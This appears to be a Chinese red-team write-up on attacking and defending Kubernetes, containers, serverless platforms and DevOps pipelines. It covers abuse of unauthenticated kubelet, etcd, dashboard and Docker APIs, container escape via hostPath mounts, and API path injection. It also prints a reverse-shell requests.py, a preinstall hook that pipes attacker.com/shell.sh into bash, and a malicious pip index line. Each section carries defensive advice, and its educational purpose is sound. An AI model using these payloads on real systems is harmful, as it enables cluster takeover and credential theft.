:atom: [WIP] 整理过去我和K8s、容器、虚拟化相关的分享 🧐
从零开始的Kubernetes攻防
本材料基于我原先在腾讯发表的博客 《红蓝对抗中的云原生漏洞挖掘及利用实录》 进行持续更新和完善,用于解决公众号无法及时勘误和调整的局限性;且由于Kubernetes安全特性、容器安全等场景的攻防技术在不断发展和改变,文章的内容也会持续不断的进行调整;并在后续会补充从零开始的实验环境搭建、Kubernetes安全特性对抗、完整红蓝对抗案例、EBPF安全等相关的内容。希望整理和囊括我在Kubecon、CloudNativeCon、HITB、BlackHat、WHC、CIS等会议上分享的云原生安全相关的议题,以及此前写过的所有相关文章;希望重新构建和整理自己的在 Kubernetes 上的知识体系。👁 盼望能多积累勘误,沉淀一些真正有质量的内容。
文件包括[WIP]:
| Security Conference | CNCF & Linux Foundation |
|---|---|
| HITB、 BlackHat (Arsenal)、 WHC、CIS ... | Kubecon & CloudNativeCon ... |
| CVE编号 | 影响组件 | 漏洞类型 | 影响版本 | 修复版本 |
|---|---|---|---|---|
| CVE-2019-5736 | runc | 容器逃逸 | 所有版本 < 1.0-rc6 | runc 1.0-rc6 |
| CVE-2020-15257 | containerd | 容器逃逸 | 1.3.x < 1.3.9, 1.4.x < 1.4.3 | 1.3.9+, 1.4.3+ |
| CVE-2019-16884 | cri-o | 权限提升 | < 1.15.0 | 1.15.0+ |
| CVE-2020-8558 | kube-proxy | 网络绕过 | < 1.18.4 | 1.18.4+ |
| CVE-2020-8559 | kubelet | 权限提升 | < 1.18.6 | 1.18.6+ |
| CVE-2020-8557 | kubelet | DoS | < 1.18.6 | 1.18.6+ |
| CVE-2020-10749 | CNI插件 | 网络绕过 | 多个版本 | 多个修复版本 |
| CVE-2020-13401 | kubectl | 命令注入 | < 1.18.4 | 1.18.4+ |
| CVE-2020-8554 | kube-apiserver | 中间人攻击 | 多个版本 | 多个修复版本 |
| CVE-2020-8552 | kube-apiserver | DoS | < 1.17.3 | 1.17.3+ |
实际攻防场景里面我真实用过且在关键路径里起到作用的也就 CVE-2020-15257,其它漏洞的 POC 都只在漏洞公开时自建测试的环境复现和公司内服务的漏洞挖掘用了一下,有些环境虽然有漏洞,但是实际打真实目标却没怎么用得上。
值得一提的是最开始跟进分析时,因为 EXP 需要钓鱼让管理员去执行 docker exec 或 kubectl exec 才可以触发,所以不怎么看好的 CVE-2019-5736 RUNC 容器逃逸漏洞;反而是真的遇到几个无交互即可触发的场景。主要是 vscode server、jupyter notebook、container webconsole 等这种提供容器内交互式 shell 的多租户场景在企业内网里变多了,容器逃逸之后就是新的网络环境和主机环境。
防御建议:
- 定期更新容器运行时和Kubernetes组件
- 实施漏洞扫描和管理流程
- 监控容器运行时行为,检测异常活动
- 遵循最小权限原则配置容器
- 考虑使用提供更强隔离的容器运行时
7. 容器、容器编排组件 API 配置不当或未鉴权
就安全问题来说,业界普遍接触最多、最首当其冲的就是容器组件服务的未鉴权问题。我们在 2019 年的时候整理了一份 Kubernetes 架构下常见的开放服务指纹,提供给到了地表最强的扫描器洞犀团队,就现在看来这份指纹也是比较全的。
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8001
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080
前六个服务的非只读接口我们都曾经在渗透测试里遇到并利用过,都是一旦被控制可以直接获取相应容器、相应节点、集群权限的服务,也是广大公网蠕虫的必争之地。
7.1. 组件分工
各个组件未鉴权所能造成的风险,其实从它们在 Kubernetes 集群环境里所能起到的作用就能很明显的判断出来,如 APIServer 是所有功能的主入口,则控制 APIServer 基本上等同控制集群的所有功能;而 kubelet 是单个节点用于进行容器编排的 Agent,所以控制 kubelet 主要是对单个节点下的容器资源进行控制。
组件分工上较为完整的图例可参考:
想必这样也相对晦涩难懂,我简化了一下,假如用户想在集群里面新建一个容器集合单元,那各个组件以此会相继做什么事情呢?
用户与 kubectl 或者 Kubernetes Dashboard 进行交互,提交需求。(例: kubectl create -f pod.yaml);
kubectl 会读取 ~/.kube/config 配置,并与 apiserver 进行交互,协议:http/https;
apiserver 会协同 ETCD 等组件准备下发新建容器的配置给到节点,协议:http/https(除 ETCD 外还有例如 kube-controller-manager, scheduler 等组件用于规划容器资源和容器编排方向,此处简化省略);
apiserver 与 kubelet 进行交互,告知其容器创建的需求,协议:http/https;
kubelet 与 Docker 等容器引擎进行交互,创建容器,协议:http/unix socket.
至此我们的容器已然在集群节点上创建成功,创建的流程涉及 ETCD、apiserver、kubelet、dashboard、docker remote api 等组件,可见每个组件被控制会造成的风险和危害,以及相应的利用方向;
对于这些组件的安全性,除了不同组件不一样的鉴权设计以外,网络隔离也是非常必要的,常规的 iptables 设置和规划也可以在容器网络中起到作用(容器网络的很多能力也是基于 iptables 实现的)。
另外比较有容器特色的方案就是 Network Policy 的规划和服务网格的使用,能从容器、POD、服务的维度更加优雅的管理和治理容器网络以及集群内流量。这些组件的资料和对应渗透手法,这里我们一一介绍一下:
7.2. apiserver
如果想要攻击 apiserver, 下载 kubectl 是必经之路。
curl -LO "https://dl.kubernetes.io/release/$(curl -L -s https://dl.kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
默认情况下,apiserver 都是有鉴权的:
当然也有未鉴权的配置:kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080,此时请求接口的结果如下:
对于这类的未鉴权的设置来说,访问到 apiserver 一般情况下就获取了集群的权限:
可能还有同学不知道 apiserver 在 Kubernetes / 容器编排集群里的重要地位,这里简单介绍一下:在蓝军眼中的 Kubernetes APIServer 其重要性,如下图:
所以,对于针对 Kubernetes 集群的攻击来说,获取 admin kubeconfig 和 apiserver 所在的 master node 权限基本上就是获取主机权限路程的终点。
至于如何通过 apiserver 进行持续渗透和控制,参考 kubectl 的官方文档是最好的:
https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands
防御建议:
- 禁用非安全端口(--insecure-port=0)
- 实施强身份认证和授权机制
- 使用TLS加密API通信
- 实施网络策略,限制对API服务器的访问
- 定期审计API服务器访问日志
7.3. kubelet
每一个 Node 节点都有一个 kubelet 服务,kubelet 监听了 10250,10248,10255 等端口。
其中 10250 端口是 kubelet 与 apiserver 进行通信的主要端口,通过该端口 kubelet 可以知道自己当前应该处理的任务,该端口在最新版 Kubernetes 是有鉴权的,但在开启了接受匿名请求的情况下,不带鉴权信息的请求也可以使用 10250 提供的能力;因为 Kubernetes 流行早期,很多挖矿木马基于该端口进行传播和利用,所以该组件在安全领域部分群体内部的知名度反而会高于 APIServer。
在新版本 Kubernetes 中当使用以下配置打开匿名访问时便可能存在 kubelet 未授权访问漏洞:
kubelet:
authentication:
anonymous:
enabled: true
如果 10250 端口存在未授权访问漏洞,那么我们可以先使用 / pods 接口获取集群的详细信息,如 namespace,pods,containers 等
之后再通过
curl -k https://kubernetes-node-ip:10250/run/<namespace>/<pod-name>/<container-name> -d "cmd=id"
的方式在任意容器里执行命令
此时,选择我们所有控制的容器快速过滤出高权限可逃逸的容器就很重要,在上述 /pods API 中可以获取到每个 POD 的配置,包括了 host*、securityContext、volumes 等配置,可以根据容器逃逸知识快速过滤出相应的 POD 进行控制。
由于这里 10250 鉴权当前的 Kubernetes 设计是默认安全的,所以 10255 的开放就可能更加容易在红蓝对抗中起到至关重要的作用。10255 本身为只读端口,虽然开放之后默认不存在鉴权能力,无法直接利用在容器中执行命令,但是可以获取环境变量 ENV、主进程 CMDLINE 等信息,里面包含密码和秘钥等敏感信息的概率是很高的,可以快速帮我们在对抗中打开局面。
防御建议:
- 禁用匿名访问(anonymous.enabled=false)
- 启用X509客户端证书认证
- 实施网络策略,限制对kubelet端口的访问
- 禁用只读端口(--read-only-port=0)
- 定期审计kubelet访问日志
7.4. dashboard
dashboard 是 Kubernetes 官方推出的控制 Kubernetes 的图形化界面,在 Kubernetes 配置不当导致 dashboard 未授权访问漏洞的情况下,通过 dashboard 我们可以控制整个集群。
在 dashboard 中默认是存在鉴权机制的,用户可以通过 kubeconfig 或者 Token 两种方式登录,当用户开启了 enable-skip-login 时可以在登录界面点击 Skip 跳过登录进入 dashboard
然而通过点击 Skip 进入 dashboard 默认是没有操作集群的权限的,因为 Kubernetes 使用 RBAC(Role-based access control) 机制进行身份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。
我们点击 Skip 进入 dashboard 实际上使用的是 Kubernetes-dashboard 这个 ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
但有些开发者为了方便或者在测试环境中会为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole(cluster-admin 拥有管理集群的最高权限)。
这个极具安全风险的设置,具体如下:
- 新建 dashboard-admin.yaml 内容如下(该配置也类似于 "利用大权限的 Service Account" 一小节的配置 )
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: kubernetes-dashboard-admin
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
- 执行 kubectl create -f dashboard-admin.yaml
此时用户通过点击 Skip 进入 dashboard 即可拥有管理集群的权限了。
进入到 dashboard 我们可以管理 Pods、CronJobs 等,这里介绍下我们如何通过创建 Pod 控制 node 节点。
我们新建一个以下配置的 Pod,该 pod 主要是将宿主机根目录挂载到容器 tmp 目录下。
apiVersion: v1
kind: Pod
metadata:
name: alpine
spec:
containers:
- name: alpine
image: alpine:latest
command: ["/bin/sh", "-c", "sleep 10000"]
volumeMounts:
- name: host-root
mountPath: /tmp
volumes:
- name: host-root
hostPath:
path: /
之后我们便可以通过该容器的 tmp 目录管理 node 节点的文件。
值得注意的是,为了集群的稳定性和安全性要求,在 Kubernetes 默认设计的情况下 Pod 是不能调度到 master 节点的,但如果用户自行设置关闭了 Master Only 状态,那么我们可以直接在 master 节点新建 Pod 更直接的控制 master node;不过目前各大主流云产商上的 Kubernetes 集群服务,都会默认推荐让 Master 节点由云厂商托管,更加加剧了 Master 节点渗透和控制的难度 。
防御建议:
- 禁用enable-skip-login选项
- 避免将cluster-admin角色绑定到dashboard服务账号
- 实施网络策略,限制对dashboard的访问
- 使用身份认证代理或OAuth提供商进行认证
- 考虑使用其他更安全的管理工具,如kubectl或专用管理平台
7.5. etcd
etcd 被广泛用于存储分布式系统或机器集群数据,其默认监听了 2379 等端口,如果 2379 端口暴露到公网,可能造成敏感信息泄露,本文我们主要讨论 Kubernetes 由于配置错误导致 etcd 未授权访问的情况。Kubernetes 默认使用了 etcd v3 来存储数据,如果我们能够控制 Kubernetes etcd 服务,也就拥有了整个集群的控制权。
在 Kubernetes 中用户可以通过配置 /etc/kubernetes/manifests/etcd.yaml 更改 etcd pod 相关的配置,倘若管理员通过修改配置将 etcd 监听的 host 修改为 0.0.0.0,则通过 ectd 获取 Kubernetes 的认证鉴权 token 用于控制集群就是自然而然的思路了,方式如下:
首先读取用于访问 apiserver 的 token
# 查找可用的token
etcdctl --endpoints=https://your-etcd-endpoint:2379 --cacert=/path/to/ca.crt --cert=/path/to/cert.crt --key=/path/to/key.key get / --prefix --keys-only | grep /secrets/
# 读取特定token
etcdctl --endpoints=https://your-etcd-endpoint:2379 --cacert=/path/to/ca.crt --cert=/path/to/cert.crt --key=/path/to/key.key get /registry/secrets/kube-system/default-token-abcde
利用 token 我们可以通过 apiserver 端口 6443 控制集群:
# 使用获取的token访问API服务器
curl -k -H "Authorization: Bearer <token>" https://kubernetes-api-server:6443/api/v1/namespaces
防御建议:
- 避免将etcd暴露到公网
- 使用TLS双向认证保护etcd通信
- 实施网络策略,限制对etcd的访问
- 定期备份etcd数据
- 考虑使用加密功能保护敏感数据
7.6. docker remote api
Docker Engine API 是 Docker 提供的基于 HTTP 协议的用于 Docker 客户端与 Docker 守护进程交互的 API,Docker daemon 接收来自 Docker Engine API 的请求并处理,Docker daemon 默认监听 2375 端口且未鉴权,我们可以利用 API 来完成 Docker 客户端能做的所有事情。
Docker daemon 支持三种不同类型的 socket: unix, tcp, fd。默认情况下,Docker daemon 监听在 unix:///var/run/docker.sock,开发者可以通过多种方式打开 tcp socket,比如修改 Docker 配置文件如 / usr/lib/systemd/system/docker.service:
[Service]
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
之后依次执行 systemctl daemon-reload、systemctl restart docker 便可以使用 docker -H tcp://[HOST]:2375 这种方式控制目标 docker
# 列出所有容器
docker -H tcp://target-host:2375 ps -a
# 创建特权容器
docker -H tcp://target-host:2375 run -d --privileged -v /:/host_root alpine:latest sh -c "while true; do sleep 1; done"
因此当你有访问到目标 Docker API 的网络能力或主机能力的时候,你就拥有了控制当前服务器的能力。我们可以利用 Docker API 在远程主机上创建一个特权容器,并且挂载主机根目录到容器,对主机进行进一步的渗透,更多利用方法参考容器逃逸章节。
检测目标是否存在 docker api 未授权访问漏洞的方式也很简单,访问 http://[host]:[port]/info 路径是否含有 ContainersRunning、DockerRootDir 等关键字。
防御建议:
- 避免将Docker API暴露到公网
- 使用TLS双向认证保护Docker API通信
- 实施网络策略,限制对Docker API的访问
- 考虑使用授权插件限制API访问权限
- 监控Docker API调用,检测异常行为
7.7. kubectl proxy
kubectl proxy 这个子命令大家可能遇到比较少,这里单独介绍一下;由于上述几个组件的安全问题较为常见和出名,且在目前开源分支里它们在鉴权这个方面都是默认安全的,所以直接出现问题的可能性较小,企业在内外网也都收敛得不错;此时 kubectl proxy 这个子命令反而是另一个常见且蠕虫利用起来非常简单粗暴的问题。
了解使用过 Kubernetes 的同学应该知道,如果你在集群的 POD 上开放一个端口并用 ClusterIP Service 绑定创建一个内部服务,如果没有开放 NodePort 或 LoadBalancer 等 Service 的话,你是无法在集群外网访问这个服务的(除非修改了 CNI 插件等)。
如果想临时在本地和外网调试的话,kubectl proxy 似乎是个不错的选择。
# 不安全的用法
kubectl proxy --address=0.0.0.0 --port=8001 --accept-hosts=.*
# 更安全的替代方案
kubectl proxy --address=127.0.0.1 --port=8001
# 然后使用SSH隧道或其他安全方式访问
但其实 kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的,所以 --address=0.0.0.0 就是极其危险的了。
所以这里的利用和危害和 APIServer 的小节是相似的。
防御建议:
- 避免使用--address=0.0.0.0参数
- 使用--accept-hosts参数限制访问来源
- 考虑使用API网关或反向代理代替直接暴露kubectl proxy
- 实施网络策略,限制对proxy端口的访问
- 仅在必要时临时启用kubectl proxy,使用完毕后立即关闭
8. 容器镜像安全问题
容器镜像的安全扫描能力是很多乙方商业产品和甲方安全系统首先会推进的容器安全建设方向。不像容器运行时安全监控需要较高的成本、稳定性要求和技术积累,也有业界相对成熟的开源方案。
容器镜像是容器安全非常关键且重要的一环,当获取到节点权限或管理员 PC 权限时,~/.docker/config.json 文件内就可能存有镜像仓库账号和密码信息,用户名和密码只用 Base64 编码了一下,对于安全人员来说和没有是一样的。
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "dXNlcm5hbWU6cGFzc3dvcmQ=" // 这是Base64编码的username:password
}
}
}
很多 POD 和线上容器在使用镜像时,可能用 latest 或默认没有指定版本,所以劫持镜像源之后只要在原本的 latest 之上植入恶意代码并 push 新的版本镜像,就可以在获取镜像权限之后进而获取线上的容器权限。
不仅在安全攻防领域,作为一个长期依赖容器技术的半吊子开发者,我也不建议用 latest 镜像标签作为线上环境的长期方案;从研发运维角度的最佳实践来看,使用特定版本的 TAG 且可以和代码版本控制相对应是比较推荐的方案,应该保障每个镜像都是可追踪溯源的。
比较有趣的是,我们曾经遇到企业在基础容器镜像里打入 sshd 并且在 init.sh 主程序中启动 sshd 程序(无论是安全还是容器架构最佳实践都是不建议的),导致所有 Kubernetes 集群里的容器都会开放 22 端口并且拥有一样的 / etc/shadow 文件和 / root/.ssh/authorized_keys。这就代表所有的容器都可以使用一个通用密码和 ssh 证书去登录。因此在逃逸获取容器的宿主机权限后,分析容器基础镜像的通用安全问题确实可以很快扩大影响面。
容器镜像安全最佳实践:
使用特定版本标签
- 避免使用
latest标签 - 使用语义化版本(如v1.2.3)或与代码版本关联的标签
- 实施不可变镜像策略,一旦构建不再修改
- 避免使用
镜像签名和验证
- 使用工具如Cosign或Notary对镜像进行签名
- 在部署前验证镜像签名
- 示例:
# 使用Cosign签名镜像 cosign sign --key cosign.key my-registry.io/my-image:v1.0.0 # 验证镜像签名 cosign verify --key cosign.pub my-registry.io/my-image:v1.0.0
镜像扫描
- 使用工具如Trivy、Clair或Anchore扫描镜像中的漏洞
- 在CI/CD流程中集成镜像扫描
- 示例:
# 使用Trivy扫描镜像 trivy image my-registry.io/my-image:v1.0.0
最小化镜像
- 使用多阶段构建减小镜像大小
- 选择最小化基础镜像(如Alpine、distroless)
- 仅安装必要的包和依赖
镜像准入控制
- 使用准入控制器如OPA Gatekeeper验证镜像来源
- 限制使用未经授权的镜像仓库
- 示例Gatekeeper策略:
apiVersion: constraints.gatekeeper.sh/v1beta1 kind: K8sTrustedImages metadata: name: trusted-images spec: match: kinds: - apiGroups: [""] kinds: ["Pod"] parameters: repositories: - "my-registry.io/"
安全的镜像构建流程
- 使用安全的基础镜像
- 定期更新基础镜像
- 避免在镜像中包含敏感信息(如密钥、证书)
镜像仓库安全
- 使用强密码或证书认证
- 实施仓库访问控制
- 定期轮换访问凭证
- 加密传输和存储
9. 二次开发所产生的安全问题
9.1. 对 Kubernetes API 的请求转发或拼接
熟悉 Kubernetes 架构的同学可能知道,管理员管理 Kubernetes 无论是使用 kubectl 或 Kubernetes dashboard 的 UI 功能,其实都是间接在和 APIServer 做交互。
参考官方的架构图:
那么如果需求需要在 Kubernetes 原本的能力上做开发的话,很有可能产品后端就是请求了 APIServer 的 Rest API 实现的。
攻击者破坏程序原本想对 APIServer 所表达的语义,注入或修改 Rest API 请求里所要表达的信息,就可以达到意想不到的效果。
例如下面的代码,用户传入 namespace、pod 和容器名即可获取相应容器的日志:
@app.route('/api/logs')
def get_logs():
namespace = request.args.get('namespace')
pod = request.args.get('pod')
container = request.args.get('container')
# 不安全的实现 - 直接拼接参数
url = f"https://apiserver:8443/api/v1/namespaces/{namespace}/pods/{pod}/log?container={container}"
# 安全的实现 - 参数验证和规范化
if not re.match(r'^[a-z0-9]([-a-z0-9]*[a-z0-9])?$', namespace):
return jsonify({"error": "Invalid namespace format"}), 400
if not re.match(r'^[a-z0-9]([-a-z0-9]*[a-z0-9])?$', pod):
return jsonify({"error": "Invalid pod name format"}), 400
if not re.match(r'^[a-z0-9]([-a-z0-9]*[a-z0-9])?$', container):
return jsonify({"error": "Invalid container name format"}), 400
response = requests.get(url, headers={"Authorization": f"Bearer {token}"})
return response.text
相似的需求和 API 还有例如:
- 到用户自己的容器内创建一个 web console 供用户进行远程调试
POST https:/apiserver:8443/api/v1/namespaces/default/pods/nginx/exec?command=bash&container=nginx&stdin=true&stdout=true&tty=true
- 给用户销毁自己 POD 的能力
DELETE https://apiserver:8443/api/v1/namespaces/default/pods/sleep-75c6fd99c-g5kss
这类型的需求在多租户的集群设计里比较常见。渗透测试选手看到这样的代码或 API,首先想到的就是越权,把 namespace、pod 和容器名修改为他人的,就可以让二次开发的代码去删除其他用户的 POD、进入其他用户的容器里执行命令、获取其它 POD 的日志等。
除了上述的功能点,这里比较容易出问题且影响较大的功能和业务逻辑是多租户集群平台的自研 Web Console 功能,Web Console 的越权问题可以直接导致任意容器登录和远程控制,也是非常值得关注的一个点。
其实我们甚至可以修改获取日志、删除 POD、执行命令的 Rest API 语义:
例如在上述 namespace 命名空间处插入 "default/configmaps/istio-ca-root-cert?ingore=",
原本请求的
"https://apiserver:6443/api/v1/namespaces/istio-dev/pods/service-account-simple/lo g?container=test-container"
就会转变为
"https://apiserver:6443/api/v1/namespaces/default/configmaps/istio-ca-root-cert?ingore=/pods/service-account-simple/lo g?container=test-container",
实际就是请求了
https://apiserver:6443/api/v1/namespaces/default/configmaps/istio-ca-root-cert,从获取日志转变了为获取 configmap。
防御建议:
- 实施严格的输入验证,使用白名单过滤用户输入
- 使用参数化查询而非字符串拼接
- 实施最小权限原则,限制API访问权限
- 使用Kubernetes RBAC限制服务账号权限
- 监控API调用,检测异常行为
- 实施路径规范化,防止路径遍历攻击
10. Serverless
Serverless 还有一个比较大漏洞挖掘的方向是资源占用,例如驻留进程,驻留文件,进程偷跑,句柄耗尽等条件竞争漏洞,用于影响多租户集群,占用计算资源等。我们之前也研究过相关的安全漏洞和利用方法,但因为和传统的黑客攻防对抗相关性较少,此处暂且不表。
这里只描述那些确实成为安全演习关键路径一环的漏洞。
10.1. 文件驻留导致命令执行
有些 Serverless 实现在应用程序生命周期结束之后,程序文件的清理上进入了僵局。一方面开发者希望借助容器 "对 Linux Cgroup 和 Namespace 进行管理的特性" 用于实现限制应用的资源访问能力和进程权限的需求;在此之上,开发者希望能更快的达到用户文件清理的目的,避免反复初始化容器环境带来的时间和资源上的消耗,复用同一个容器环境。
而在蓝军的视角里,这样的处理方式会导致多个用户的应用会存在多个用户在不同时间段使用一个容器环境的情况,在安全性上是比较难得到保障的。
以面向 Python 开发者的 Serverless 架构为例,开发者所构想的简化模型是这样的:
用户文件清理的代码实现上,简化可参考:
def cleanup_user_files(user_dir):
"""清理用户文件目录"""
try:
# 不安全的实现 - 使用shell命令并且没有处理特殊字符
os.system(f"rm -rf {user_dir}/*")
# 安全的替代方案
for root, dirs, files in os.walk(user_dir, topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
return True
except Exception as e:
logging.error(f"Failed to cleanup user directory: {e}")
return False
在进行包括上述文件删除动作在内的一系列环境清理工作之后,容器内外的主调度进程会写入其他租户的代码到当前容器内,此时这个容器就进入了下一个应用的 Serverless 生命周期。
虽然,主框架代码实现内有很多类似调用系统命令拼接目录等参数进行执行的代码实现,但是类似命令注入的问题大多只能影响到当前的生命周期;而又因为用户权限的问题,我们没办法修改其他目录下的文件。
于是我们构建了这样一个目录和文件:
/app/user_code/
├── --help
└── requests.py
当程序执行 rm -rf * 时,因为 bash glob 对 * 号的返回是有默认排序的,这里可参考下方 bash 的文档,只要我们不去修改 LC_ALL 的环境变量,我们构造的 --help 文件会排列在文件列表的最前方,导致 rm 会执行 rm --help 而终止,恶意文件得以保留。
Pathname Expansion
After word splitting, unless the -f option has been set, bash scans each word for the characters *, ?, and [. If one of these characters appears, then the word is regarded as a pattern, and replaced with an alphabetically sorted list of file names matching the pattern.
我们可以简单在 bash 内进行验证,可以看到 rm -rf * 命令被 --help 强行终止,我们所植入的恶意文件还依然存在没有被清理掉,同时 rm --help 的命令执行返回为 0,不会产生 OS ERROE Code,清理进程会认为这里的清除命令已经成功执行:
$ mkdir test && cd test
$ touch --help malicious.py
$ ls
--help malicious.py
$ rm -rf *
BusyBox v1.31.1 (2020-04-01 18:15:20 UTC) multi-call binary.
Usage: rm [-ifrv] FILE...
Remove (unlink) FILEs
-i Always prompt before removing
-f Never prompt
-r,-R Recurse
-v Verbose
$ ls
--help malicious.py
而实际在 serverless log 里的返回,可参考:
此时,serverless 的主调度程序会以为自己已经正常清理了容器环境,并写入另外一个租户的源码包进行执行,而当另外一个租户的代码执行至 import requests 时,我们驻留在应用目录下的 requests.py 内的恶意代码就会被执行。
# 恶意requests.py文件内容
import os
import socket
import subprocess
# 反弹shell代码
def reverse_shell():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker.com",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
# 当被导入时执行
reverse_shell()
# 伪装成正常requests模块
class Session:
def __init__(self):
pass
def get(self, url):
pass
不过值得注意的是,因为 serverless 的生命周期一般极为有限,所以此时获取的 shell 可能会在短时间结束,触发新一轮的反弹 shell,且 Servless 容器环境内的信息相对单一和简便。所以容器环境里值得我们探索和翻找的地方也不多,一般需要关注:
新的代码
代码内部配置
环境变量
秘钥、证书、密码信息等
不同的 serverless 架构实现对于存储和传递相应信息的方式各有不同。
防御建议:
- 使用安全的文件清理方法,避免使用shell命令
- 在不同shell环境(sh、bash、zsh等)中测试文件清理逻辑
- 为每个用户请求使用全新的容器环境
- 实施沙箱隔离,限制用户代码的权限
- 监控异常文件操作和进程行为
10.2. 攻击公用容器 / 镜像
现在我们知道了,很多 Serverless 的用户代码都跑在一个个容器内。不同应用的代码运行于不同的容器之上,依靠容器原本的能力进行资源回收和隔离。由于 Serverless 应用的代码会进行相应的结构化解耦,且每个应用容器的底层环境相对来说是一致的。所以其实,根据应用漏洞获取更多应用类 Serverless 容器不仅困难而且在内网渗透中作用相对较为有限,能做的事情也相对较少。
但其实在不同的 Serverless 架构中,都有多类持久化且公用的容器以实现程序调度、代码预编译、代码下载运行等逻辑。
这类容器一般拥有获取所有用户代码、配置和环境变量的能力,同时也比较容易出现 Docker IN Docker 或大权限 Service Account 的设计。
如何控制这类型的容器呢?以下是我们在攻防过程中遇到的场景:
- 在下载源代码时,使用 git clone 进行命令拼接,导致存在命令注入;
# 不安全的实现
git clone $REPO_URL
# 安全的替代方案
if [[ $REPO_URL =~ ^https://github.com/[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+$ ]]; then
git clone "$REPO_URL"
else
echo "Invalid repository URL"
exit 1
fi
- 在安装 node.js 依赖包时,构造特殊的 package.json 利用 preinstall 控制公用容器。
{
"name": "malicious-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -s http://attacker.com/shell.sh | bash"
},
"dependencies": {
"express": "^4.17.1"
}
}
- 配置指向恶意第三方仓库的 pip requirements.txt,利用恶意 pip 包获取依赖打包容器的权限,同类的利用手法还可以作用于 nodejs、ruby 等语言的包管理器。
# requirements.txt
flask==2.0.1
requests==2.26.0
malicious-package==1.0.0 --index-url https://pypi.attacker.com/simple/
- 因为容器镜像里的打了低版本 git、go 等程序,在执行 git clone, git submodule update(CVE-2019-19604), go get 时所导致的命令执行,
下图为 CVE-2018-6574 的 POC 可参考: https://github.com/neargle/CVE-2018-6574-POC/blob/master/main.go。
package main
import "C"
import "fmt"
// #cgo CFLAGS: -fplugin=./plugin.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
// return f();
// }
//
// int fortytwo()
// {
// return 42;
// }
import "C"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
防御建议:
- 使用安全的代码下载和依赖安装方法
- 验证所有外部输入,特别是仓库URL和依赖包
- 定期更新容器中的工具和库
- 使用可信的软件源和镜像仓库
- 实施最小权限原则,限制公用容器的权限
- 监控异常进程行为和网络连接
11. DevOps
我们从 2019 年开始研究 DevOps 安全攻防对抗的战场,不仅研究企业内部 DevOps 平台和产品的安全性,同时也不断在内部的研发流程中积极引入 DevOps 做蓝军武器化自动化研发的测试、发布、打包和编译等流程中。
从蓝军的角度,在我们历史攻防对抗中比较值得注意的场景有以下几点:
目前不同的 DevOps 平台可能会包含不同的 Low-Code 流水线特性,隔离上也会大量采用我们上面提及的多租户容器集群设计,所以多租户集群下的渗透测试技巧也大致无二。
控制了上述的多租户容器集群是可以控制集群所用节点服务器的,这些服务器的作用一般用于编译和构建业务代码,并接入代码管理站点如 Gitlab、Github 等,所以一般拥有获取企业程序各业务源码的权限。
DevOps 及其相关的平台其最重要的能力之一就是 CICD,因此控制 DevOps 也就间接拥有了从办公网、开发网突破进入生产网的方法;控制的应用数量和业务种类越多,也能根据应用的不同进入不同的隔离区。
另外在 DevOps 平台内若集成了日志组件(云原生的重点之一:可观察性)的话,那么日志组件和 Agent 的升级、安装问题一般会是重中之重,蓝军可以根据这个点达到获取公司内任意主机权限的目地。
DevOps安全最佳实践:
流水线安全
- 实施代码审查和变更管理
- 使用签名验证确保代码完整性
- 限制流水线权限,遵循最小权限原则
- 监控异常的流水线行为
凭证管理
- 使用安全的凭证存储(如Vault、Kubernetes Secrets)
- 实施凭证轮换策略
- 避免在代码或配置中硬编码凭证
- 使用临时凭证而非长期凭证
基础设施安全
- 隔离CI/CD环境
- 实施网络分段,限制节点间通信
- 定期更新和补丁CI/CD工具
- 使用基础设施即代码(IaC)安全扫描工具
构建环境安全
- 使用只读和临时构建环境
- 在构建完成后销毁环境
- 扫描构建依赖和产物中的漏洞
- 实施构建环境的访问控制
日志和监控
- 集中收集和分析CI/CD日志
- 监控异常的构建行为
- 实施告警机制,及时响应安全事件
- 保留审计日志用于事后分析
12. 云原生 API 网关
作为 API 网关,它具有管理集群南北流量的功能,一般也可能作为集群流量的入口和出口(ingress/egress)。而作为标榜云原生特性的 API 网关产品,似乎无一例外都会具有动态配置、灵活修改、远程管理的特性,而这些特性往往以 REST API 对外提供服务。
然而在远程配置逻辑的鉴权能力上,身为网关这种基础网络的产品,各个受欢迎的开源组件在默认安全的实现上似乎还需努力。
以 Kong 为例,Kong API 网关 (https://github.com/Kong/kong) 是目前最受欢迎的云原生 API 网关之一,有开源版和企业版两个分支,被广泛应用于云原生、微服务、分布式、无服务云函数等场景的 API 接入中间件,为云原生应用提供鉴权,转发,负载均衡,监控等能力。
我们曾经在一次渗透测试中使用 Kong 的远程配置能力突破外网进入到内网环境中,可以参考之前的预警文章**《腾讯蓝军安全提醒:开源云原生 API 网关 Kong 可能会成为攻击方进入企业内网的新入口》**
